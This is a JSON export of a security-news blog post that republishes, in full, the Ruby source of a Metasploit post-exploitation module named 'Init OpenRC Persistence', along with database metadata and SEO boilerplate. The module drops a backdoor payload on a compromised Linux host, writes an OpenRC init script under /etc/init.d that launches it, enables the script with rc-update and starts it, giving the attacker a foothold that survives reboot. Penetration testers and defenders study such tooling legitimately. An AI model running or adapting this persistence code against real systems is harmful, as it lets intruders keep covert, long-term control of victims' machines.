{"id":17675,"date":"2025-09-16T14:58:00","date_gmt":"2025-09-16T14:58:00","guid":{"rendered":"http:\/\/localhost\/?p=17675"},"modified":"2025-09-16T14:58:00","modified_gmt":"2025-09-16T14:58:00","slug":"init-openrc-persistence","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=17675","title":{"rendered":"Init OpenRC Persistence_MSF:EXPLOIT-LINUX-PERSISTENCE-INIT_OPENRC-"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-09-16T19:07:47&#8243;,&#8221;description&#8221;:&#8221;This module will create a service on the box via OpenRC, and mark it for auto-restart.           We need enough access to write&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-09-16T18:53:36&#8243;,&#8221;modified&#8221;:&#8221;2025-09-16T18:53:36&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;Init OpenRC Persistence&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;MSF:EXPLOIT-LINUX-PERSISTENCE-INIT_OPENRC-&#8220;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;##\\n# This module requires Metasploit: https:\/\/metasploit.com\/download\\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n##\\n\\nclass MetasploitModule \\u003c Msf::Exploit::Local\\n  Rank = ExcellentRanking\\n\\n  include Msf::Post::File\\n  include Msf::Post::Unix\\n  include Msf::Exploit::FileDropper\\n  include Msf::Exploit::EXE # for generate_payload_exe\\n  include Msf::Exploit::Local::Persistence\\n  prepend Msf::Exploit::Remote::AutoCheck\\n  include Msf::Exploit::Deprecated\\n  moved_from &#8216;exploits\/linux\/local\/service_persistence&#8217;\\n\\n  def initialize(info = {})\\n    super(\\n      update_info(\\n        info,\\n        &#8216;Name&#8217; =\\u003e &#8216;Init OpenRC Persistence&#8217;,\\n        &#8216;Description&#8217; =\\u003e %q{\\n          This module will create a service on the box via OpenRC, and mark it for auto-restart.\\n          We need enough access to write service files and potentially restart services.\\n          Verified against alpine 3.21.2\\n        },\\n        &#8216;License&#8217; =\\u003e MSF_LICENSE,\\n        &#8216;Author&#8217; =\\u003e [\\n          &#8216;h00die&#8217;,\\n        ],\\n        &#8216;Platform&#8217; =\\u003e [&#8216;unix&#8217;, &#8216;linux&#8217;],\\n        &#8216;Targets&#8217; =\\u003e [\\n          [&#8216;Automatic&#8217;, {}]\\n        ],\\n        &#8216;DefaultTarget&#8217; =\\u003e 0,\\n        &#8216;Arch&#8217; =\\u003e [\\n          ARCH_CMD,\\n          ARCH_X86,\\n          ARCH_X64,\\n          ARCH_ARMLE,\\n          ARCH_AARCH64,\\n          ARCH_PPC,\\n          ARCH_MIPSLE,\\n          ARCH_MIPSBE\\n        ],\\n        &#8216;References&#8217; =\\u003e [\\n          [&#8216;URL&#8217;, &#8216;https:\/\/www.digitalocean.com\/community\/tutorials\/how-to-configure-a-linux-service-to-start-automatically-after-a-crash-or-reboot-part-1-practical-examples&#8217;],\\n          [&#8216;ATT\\u0026CK&#8217;, Mitre::Attack::Technique::T1543_CREATE_OR_MODIFY_SYSTEM_PROCESS],\\n          [&#8216;URL&#8217;, &#8216;https:\/\/wiki.alpinelinux.org\/wiki\/Writing_Init_Scripts&#8217;],\\n          [&#8216;URL&#8217;, &#8216;https:\/\/wiki.alpinelinux.org\/wiki\/OpenRC&#8217;],\\n          [&#8216;URL&#8217;, &#8216;https:\/\/github.com\/OpenRC\/openrc\/blob\/master\/service-script-guide.md&#8217;],\\n        ],\\n        &#8216;SessionTypes&#8217; =\\u003e [&#8216;shell&#8217;, &#8216;meterpreter&#8217;],\\n        &#8216;Notes&#8217; =\\u003e {\\n          &#8216;Stability&#8217; =\\u003e [CRASH_SAFE],\\n          &#8216;Reliability&#8217; =\\u003e [REPEATABLE_SESSION, EVENT_DEPENDENT],\\n          &#8216;SideEffects&#8217; =\\u003e [ARTIFACTS_ON_DISK, CONFIG_CHANGES]\\n        },\\n        &#8216;DisclosureDate&#8217; =\\u003e &#8216;2007-04-05&#8217; # openrc release date\\n      )\\n    )\\n\\n    register_options(\\n      [\\n        OptString.new(&#8216;SERVICE&#8217;, [false, &#8216;Name of service to create&#8217;]),\\n        OptString.new(&#8216;PAYLOAD_NAME&#8217;, [false, &#8216;Name of the payload file to write&#8217;]),\\n      ]\\n    )\\n    register_advanced_options(\\n      [\\n        OptBool.new(&#8216;EnableService&#8217;, [true, &#8216;Enable the service&#8217;, true])\\n      ]\\n    )\\n  end\\n\\n  def check\\n    print_warning(&#8216;Payloads in \/tmp will only last until reboot, you want to choose elsewhere.&#8217;) if writable_dir.start_with?(&#8216;\/tmp&#8217;)\\n    return CheckCode::Safe(\\&#8221;#{writable_dir} doesnt exist\\&#8221;) unless exists?(writable_dir)\\n    return CheckCode::Safe(\\&#8221;#{writable_dir} isnt writable\\&#8221;) unless writable?(writable_dir)\\n    return CheckCode::Safe(&#8216;\/etc\/init.d\/ doesnt exist&#8217;) unless exists?(&#8216;\/etc\/init.d\/&#8217;)\\n    return CheckCode::Safe(&#8216;\/etc\/init.d\/ isnt writable&#8217;) unless writable?(&#8216;\/etc\/init.d\/&#8217;)\\n\\n    return CheckCode::Safe(&#8216;Likely not an openrc based system&#8217;) unless command_exists?(&#8216;openrc&#8217;)\\n\\n    CheckCode::Appears(\\&#8221;#{writable_dir} is writable and system is openrc based\\&#8221;)\\n  end\\n\\n  def install_persistence\\n    print_warning(&#8216;Payloads in \/tmp will only last until reboot, you want to choose elsewhere.&#8217;) if writable_dir.start_with?(&#8216;\/tmp&#8217;)\\n    backdoor = write_shell(writable_dir)\\n\\n    path = backdoor.split(&#8216;\/&#8217;)[0&#8230;-1].join(&#8216;\/&#8217;)\\n    file = backdoor.split(&#8216;\/&#8217;)[-1]\\n\\n    openrc(path, file)\\n  end\\n\\n  def write_shell(path)\\n    file_name = datastore[&#8216;PAYLOAD_NAME&#8217;] || Rex::Text.rand_text_alpha(5..10)\\n    backdoor = \\&#8221;#{path}\/#{file_name}\\&#8221;\\n    vprint_status(\\&#8221;Writing backdoor to #{backdoor}\\&#8221;)\\n\\n    if payload.arch.first == &#8216;cmd&#8217;\\n      write_file(backdoor, payload.encoded)\\n      chmod(backdoor, 0o755)\\n    else\\n      upload_and_chmodx(backdoor, generate_payload_exe)\\n    end\\n\\n    @clean_up_rc \\u003c\\u003c \\&#8221;rm #{backdoor}\\\\n\\&#8221;\\n\\n    fail_with(Failure::NoAccess, &#8216;File not written, check permissions.&#8217;) unless file_exist?(backdoor)\\n    backdoor\\n  end\\n\\n  def openrc(backdoor_path, backdoor_file)\\n    if payload.arch.first == &#8216;cmd&#8217;\\n      script = %(#!\/sbin\/openrc-run\\nname=#{backdoor_file}\\ncommand=\/bin\/sh\\ncommand_args=\\&#8221;#{backdoor_path}\/#{backdoor_file}\\&#8221;\\npidfile=\\&#8221;\/run\/${RC_SVCNAME}.pid\\&#8221;\\ncommand_background=\\&#8221;yes\\&#8221;\\n)\\n    else\\n      script = %(#!\/sbin\/openrc-run\\nname=#{backdoor_file}\\ncommand=\\&#8221;#{backdoor_path}\/#{backdoor_file}\\&#8221;\\ncommand_args=\\&#8221;\\&#8221;\\npidfile=\\&#8221;\/run\/${RC_SVCNAME}.pid\\&#8221;\\ncommand_background=\\&#8221;yes\\&#8221;\\n)\\n    end\\n\\n    service_filename = datastore[&#8216;SERVICE&#8217;] || Rex::Text.rand_text_alpha(7..12)\\n    service_path = \\&#8221;\/etc\/init.d\/#{service_filename}\\&#8221;\\n    vprint_status(\\&#8221;Writing service: #{service_path}\\&#8221;)\\n    begin\\n      upload_and_chmodx(service_path, script)\\n      @clean_up_rc \\u003c\\u003c \\&#8221;rm #{service_path}\\\\n\\&#8221;\\n    rescue Rex::Post::Meterpreter::RequestError\\n      print_error(\\&#8221;Writing &#8216;#{service_path}&#8217; to the target and or changing the file permissions failed\\&#8221;)\\n    end\\n\\n    fail_with(Failure::NoAccess, &#8216;Service file not written, check permissions.&#8217;) unless file_exist?(service_path)\\n\\n    if datastore[&#8216;EnableService&#8217;]\\n      vprint_status(&#8216;Enabling service&#8217;)\\n      cmd_exec(\\&#8221;rc-update add &#8216;#{service_filename}&#8217;\\&#8221;)\\n      @clean_up_rc \\u003c\\u003c \\&#8221;execute -f sh -a \\\\\\&#8221;-c &#8216;rc-update del #{service_filename}&#8217;\\\\\\&#8221;\\&#8221;\\n    end\\n\\n    print_good(&#8216;Starting service&#8217;)\\n    cmd_exec(\\&#8221;&#8216;#{service_path}&#8217; start\\&#8221;)\\n  end\\nend\\n&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/github.com\/rapid7\/metasploit-framework\/blob\/master\/modules\/exploits\/linux\/persistence\/init_openrc.rb&#8221;,&#8221;cvss&#8221;:{&#8220;score&#8221;:0,&#8221;severity&#8221;:&#8221;NONE&#8221;,&#8221;vector&#8221;:&#8221;NONE&#8221;,&#8221;version&#8221;:&#8221;NONE&#8221;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/www.rapid7.com\/db\/modules\/exploit\/linux\/persistence\/init_openrc\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-09-16T19:07:47&#8243;,&#8221;description&#8221;:&#8221;This module will create a service on the box via OpenRC, and mark it for auto-restart. We need enough access to write&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-09-16T18:53:36&#8243;,&#8221;modified&#8221;:&#8221;2025-09-16T18:53:36&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;Init OpenRC Persistence&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;MSF:EXPLOIT-LINUX-PERSISTENCE-INIT_OPENRC-&#8220;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;##\\n# This&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,169,13,33,7,11,5],"class_list":["post-17675","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-metasploit","tag-news","tag-none","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Init OpenRC Persistence_MSF:EXPLOIT-LINUX-PERSISTENCE-INIT_OPENRC- zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=17675\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Init OpenRC Persistence_MSF:EXPLOIT-LINUX-PERSISTENCE-INIT_OPENRC- zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2025-09-16T19:07:47&#8243;,&#8221;description&#8221;:&#8221;This module will create a service on the box via OpenRC, and mark it for auto-restart. We need enough access to write&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-09-16T18:53:36&#8243;,&#8221;modified&#8221;:&#8221;2025-09-16T18:53:36&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;Init OpenRC Persistence&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;MSF:EXPLOIT-LINUX-PERSISTENCE-INIT_OPENRC-&#8220;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;##n# This...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=17675\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-09-16T14:58:00+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"5 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=17675#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=17675\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"Init OpenRC Persistence_MSF:EXPLOIT-LINUX-PERSISTENCE-INIT_OPENRC-\",\"datePublished\":\"2025-09-16T14:58:00+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=17675\"},\"wordCount\":944,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"exploit\",\"metasploit\",\"news\",\"NONE\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=17675#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=17675\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=17675\",\"name\":\"Init OpenRC Persistence_MSF:EXPLOIT-LINUX-PERSISTENCE-INIT_OPENRC- zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-09-16T14:58:00+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=17675#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=17675\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=17675#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Init OpenRC Persistence_MSF:EXPLOIT-LINUX-PERSISTENCE-INIT_OPENRC-\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Init OpenRC Persistence_MSF:EXPLOIT-LINUX-PERSISTENCE-INIT_OPENRC- zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=17675","og_locale":"en_US","og_type":"article","og_title":"Init OpenRC Persistence_MSF:EXPLOIT-LINUX-PERSISTENCE-INIT_OPENRC- zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2025-09-16T19:07:47&#8243;,&#8221;description&#8221;:&#8221;This module will create a service on the box via OpenRC, and mark it for auto-restart. We need enough access to write&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-09-16T18:53:36&#8243;,&#8221;modified&#8221;:&#8221;2025-09-16T18:53:36&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;Init OpenRC Persistence&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;MSF:EXPLOIT-LINUX-PERSISTENCE-INIT_OPENRC-&#8220;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;##n# This...","og_url":"https:\/\/zero.redgem.net\/?p=17675","og_site_name":"zero redgem","article_published_time":"2025-09-16T14:58:00+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"5 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=17675#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=17675"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"Init OpenRC Persistence_MSF:EXPLOIT-LINUX-PERSISTENCE-INIT_OPENRC-","datePublished":"2025-09-16T14:58:00+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=17675"},"wordCount":944,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","exploit","metasploit","news","NONE","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=17675#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=17675","url":"https:\/\/zero.redgem.net\/?p=17675","name":"Init OpenRC Persistence_MSF:EXPLOIT-LINUX-PERSISTENCE-INIT_OPENRC- zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-09-16T14:58:00+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=17675#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=17675"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=17675#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"Init OpenRC Persistence_MSF:EXPLOIT-LINUX-PERSISTENCE-INIT_OPENRC-"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/17675","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=17675"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/17675\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=17675"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=17675"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=17675"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}